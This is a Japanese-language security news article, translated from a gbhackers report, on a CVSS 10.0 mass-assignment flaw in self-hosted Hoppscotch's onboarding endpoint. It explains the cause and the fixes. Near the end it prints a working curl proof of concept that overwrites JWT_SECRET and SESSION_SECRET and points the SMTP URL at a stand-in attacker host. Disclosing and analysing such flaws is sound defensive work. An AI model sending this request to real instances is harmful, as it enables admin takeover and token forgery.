セルフホスト版Hoppscotchのバックエンドに、CVE-2026-50160として識別された深刻なセキュリティ脆弱性が発見されました。
Cybersecurityconsulting
この脆弱性を悪用すると、認証されていない攻撃者がJWT署名シークレットを含む機密設定値を上書きでき、最終的には影響を受けたインスタンスを完全に管理者権限で乗っ取られる恐れがあります。
この問題はGitHubアドバイザリGHSA-j542-4rch-8hwfに記録されており、バージョン2026.4.1以前のすべてのバージョンが影響を受けます。バージョン2026.5.0でパッチが提供されています。悪用の容易さと侵害の深刻さから、CVSSスコアの最高値である10.0が付与されています。
Hoppscotchの深刻な脆弱性
この脆弱性は、POST /v1/onboarding/configエンドポイントにおけるマスアサインメントの欠陥に起因しています。このエンドポイントは、ユーザーが存在しない初期セットアップフェーズ(usersCount === 0)において認証なしでアクセス可能です。
このエンドポイントは、SMTPやOAuthの設定など、オンボーディングパラメータを構成するためのものです。しかし、入力検証が不適切なため、リクエストDTOに明示的に定義されていない任意の設定キーを攻撃者が注入できてしまいます。
問題の核心は、NestJSのValidationPipeがallowlistオプションを有効にせずに使用されていることにあります。その結果、リクエストボディに追加されたプロパティが除去されることなく、アプリケーションロジックに直接渡されてしまいます。
これらのプロパティはObject.entries(dto)によって処理されますが、この処理は制限を一切設けずにすべての指定キーを無差別に反復します。特に重大な点として、JWT_SECRETやSESSION_SECRETといった機密設定キーが内部の有効なenum値として存在するため、攻撃者が指定した値がそのまま受け入れられて保存されてしまいます。
さらに問題を悪化させているのが、validateEnvValuesのロジックが未認可のキーを明示的に拒否しないことです。認識されないエントリはdefault: break条件をすり抜け、実質的にバリデーションが迂回されます。
オンボーディングエンドポイントに認証がないことと相まって、これらの弱点は完全なシステム侵害を可能にする完璧な攻撃チェーンを生み出しています。
攻撃が成功した場合、攻撃者はJWT_SECRETを自分が制御する値で上書きし、管理者を含む任意のユーザーの有効な認証トークンを偽造できるようになります。
トークン検証はこのシークレットに依存しているため、JwtAuthGuardによるすべての保護が無効化されます。攻撃者はユーザーになりすまして機密データへアクセスしたり、APIキーを窃取したりすることができ、認証情報がリセットされた後も持続的なアクセスを維持することが可能です。さらに、SESSION_SECRETを上書きすることで、セッションハイジャックや正規ユーザーセッションの無効化も可能になります。
この脆弱性が特に危険なのは、オンボーディング完了前にインターネットへ公開されることが多い、デプロイ直後のインスタンスを標的にしている点です。この短い時間窓は、自動スキャンや機会主義的な攻撃者が容易に脆弱性を悪用できる高リスク期間となっています。
概念実証(PoC)の悪用は非常に単純で、細工されたHTTPリクエストを1件送信するだけで済みます。以下は、攻撃者が悪意のある設定値を注入する方法を示す実際の例です。
# Step 1: Check onboarding status
curl http://target:3170/v1/onboarding/status
# Step 2: Exploit mass assignment to overwrite secrets
curl -X POST http://target:3170/v1/onboarding/config \
-H "Content-Type: application/json" \
-d '{
"VITE_ALLOWED_AUTH_PROVIDERS": "EMAIL",
"MAILER_SMTP_ENABLE": "true",
"MAILER_SMTP_URL": "smtp://attacker.com:25",
"MAILER_ADDRESS_FROM": "[email protected]",
"JWT_SECRET": "ATTACKER_CONTROLLED_JWT_SECRET",
"SESSION_SECRET": "ATTACKER_CONTROLLED_SESSION"
}'
# Step 3: Verify compromise (database check)
psql -c "SELECT name, value FROM InfraConfig WHERE name = 'JWT_SECRET';"
悪用に成功すると、攻撃者が制御するシークレットがバックエンドに保存され、トークンの偽造と持続的な不正アクセスが可能になります。
セキュリティ研究者は、この問題をCWE-915(動的に決定されるオブジェクト属性の不適切に制御された変更)に分類しています。これはモダンなAPIフレームワークで見られる、一般的でありながら危険な脆弱性クラスです。
Cybersecurityconsulting
アドバイザリは、ValidationPipeでwhitelist: trueを有効にすれば未知フィールドが除去され、今回の攻撃を完全に防止できたと指摘しています。追加の推奨緩和策としては、設定キーの厳格なホワイトリスト化、機密パラメータへの明示的なバリデーション拒否、およびオンボーディングエンドポイントへの認証またはワンタイムセットアップトークンの強制が挙げられています。
セルフホスト版Hoppscotchを運用している組織には、直ちにバージョン2026.5.0以降へのアップグレードが強く推奨されます。パッチが適用されるまでの間、初期セットアップ時に公開されたインスタンスは、ユーザー操作を必要とせずリモートから深刻な侵害を受ける危険性があります。
翻訳元: https://gbhackers.com/critical-hoppscotch-vulnerability/